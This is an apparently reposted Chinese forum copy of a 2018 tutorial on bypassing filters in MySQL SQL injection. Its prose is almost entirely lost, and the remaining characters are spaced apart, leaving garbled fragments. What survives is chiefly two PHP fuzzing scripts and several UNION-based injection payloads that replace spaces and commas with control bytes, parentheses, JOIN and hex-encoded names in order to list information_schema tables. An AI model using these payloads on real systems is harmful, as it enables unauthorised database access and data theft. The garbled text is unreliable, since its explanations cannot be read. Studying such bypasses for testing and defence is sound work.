[13502] 2018-12-06_SQL注入测试技巧TIP:再从Mysql注入绕过过滤说起

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2018-12-06_SQL注入测试技巧TIP:再从Mysql注入绕过过滤说起 S Q L T I P M y s q l   Z z z x b u g   F r e e B u f   2 0 1 8 - 1 2 - 0 6 * Z z z x b u g F r e e B u f m y s q l w e b m y s q l m y s q l p h p m y s q l m y s q l 使 m y s q l u s e r o r d e r   b y u n i o n , / * * / 0 x 0 a , 0 x 0 b , 0 x 0 c , 0 x 0 d : 使 / * * /
使 0 x 0 a : a l t + 1 0 a l t a s c i i 0 x 0 a 使 0 x 0 b : a l t + 1 1 a l t a s c i i 0 x 0 b 使 0 x 0 c : a l t + 1 2 a l t a s c i i 0 x 0 c 使 0 x 0 d : a l t + 1 3 a l t a s c i i 0 x 0 d , 0 x 0 d u n i o n f u z z 1 . p h p , a p a c h e 访 < ? p h p $ m y s q l i   =   n e w   m y s q l i ( ' l o c a l h o s t ' ,   ' r o o t ' ,   ' ' ,   ' m y s q l ' ) ; i f   ( $ m y s q l i - > c o n n e c t _ e r r n o )   {         d i e ( " c o u l d   n o t   c o n n e c t   t o   t h e   d a t a b a s e : n "   .   $ m y s q l i - > c o n n e c t _ e r r o r ) ; } $ i = 0 ; w h i l e ( $ i + + < 2 5 6 ) {         $ s q l   =   " s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' " . c h r ( $ i ) . " u n i o n " . c h r ( $ i ) . " s e l e c t   1 , 2 ; " ;         $ r e s   =   $ m y s q l i - > q u e r y ( $ s q l ) ;         i f   ( $ r e s )   {                 e c h o   " O k ! : $ i : " . c h r ( $ i ) . " < b r > " ;         }         } $ m y s q l i - > c l o s e ( ) ; ? >
使 0 x 0 a , 0 x 0 b , 0 x 0 c , 0 x 0 d 9 1 6 0 3 2 3 5 9 t a b 1 6 0 ) s q l j o i n j o i n 使 m y s q l s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t ` t a b l e _ n a m e ` , ` t a b l e _ t y p e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t * f r o m ( ( s e l e c t ` t a b l e _ n a m e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) ` a ` j o i n ( s e l e c t ` t a b l e _ t y p e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) b ) ) ;
f u z z 2 . p h p a p a c h e 访 6 4 m y s q l T o o   h i g h   l e v e l   o f   n e s t i n g   f o r   s e l e c t m y s q l 6 4 * { } 使 使 使 , w e b 使 g r o u p _ c o n c a t ( ) , < ? p h p $ m y s q l i   =   n e w   m y s q l i ( ' l o c a l h o s t ' ,   ' r o o t ' ,   ' ' ,   ' m y s q l ' ) ; i f   ( $ m y s q l i - > c o n n e c t _ e r r n o )   {         d i e ( " c o u l d   n o t   c o n n e c t   t o   t h e   d a t a b a s e : n "   .   $ m y s q l i - > c o n n e c t _ e r r o r ) ; } $ i = 1 ; $ s q l   =   " s e l e c t ' 1 ' " ; w h i l e ( $ i + + ) {         $ a l i a s = ' a ' . " $ i " ;         $ s q l   =   " s e l e c t * f r o m ( " . $ s q l . " ) $ a l i a s " ;         $ r e s   =   $ m y s q l i - > q u e r y ( $ s q l ) ;         i f ( ! $ r e s ) {                 e c h o   $ m y s q l i - > e r r o r ;                 b r e a k ;         } e l s e {                 e c h o   $ s q l . " < b r > " ;         } } $ m y s q l i - > c l o s e ( ) ; ? > s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 ) a 4 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 ) a 4 ) a 5 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 ) a 4 ) a 5 ) a 6 ) a 7 ) a 8 ) a 9 ) a 1 0 ) a 1 1 ) a 1 2 ) a 1 3 ) a 1 4 ) a 1 5 ) a 1 6 ) a 1 7 ) a 1 8 ) a 1 9 ) a 2 0 ) a 2 1 ) a 2 2 ) a 2 3 ) a 2 4 ) a 2 5 ) a 2 6 ) a 2 7 ) a 2 8 ) a 2 9 ) a 3 0 ) a 3 1 ) a 3 2 ) a 3 3 ) a 3 4 ) a 3 5 ) a 3 6 ) a 3 7 ) a 3 8 ) a 3 9 ) a 4 0 ) a 4 1 ) a 4 2 ) a 4 3 ) a 4 4 ) a 4 5 ) a 4 6 ) a 4 7 ) a 4 8 ) a 4 9 ) a 5 0 ) a 5 1 ) a 5 2 ) a 5 3 ) a 5 4 ) a 5 5 ) a 5 6 ) a 5 7 ) a 5 8 ) a 5 9 ) a 6 0 ) a 6 1 ) a 6 2 ) a 6 3 ) a 6 4 T o o   h i g h   l e v e l   o f   n e s t i n g   f o r   s e l e c t s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t * f r o m ( ( s e l e c t ` t a b l e _ n a m e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) ` a ` j o i n ( s e l e c t ` t a b l e _ t y p e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) b ) ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( t a b l e _ n a m e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = ' m y s q l ' ) a ) j o i n ( s e l e c t ( t a b l e _ t y p e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = ' m y s q l ' ) b ) ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ? ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( t a b l e _ n a m e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) a ) j o i n ( s e l e c t ( t a b l e _ t y p e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) b ) ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ? ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( g r o u p _ c o n c a t ( t a b l e _ n a m e ) ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) a ) j o i n ( s e l e c t ( t a b l e _ t y p e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) b ) ) ;
* Z z z x b u g F r e e B u f s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ? ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( t a b l e _ n a m e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = ( 0 x 6 D 7 9 7 3 7 1 6 C ) a n d ( t a b l e _ n a m e ) ! = ( 0 x 6 4 6 2 ) a n d ( t a b l e _ n a m e ) ! = ( 0 x 6 7 6 8 7 4 7 8 ) . . . . . . . ) a ) j o i n ( s e l e c t ( 0 x 7 7 ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) b ) ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则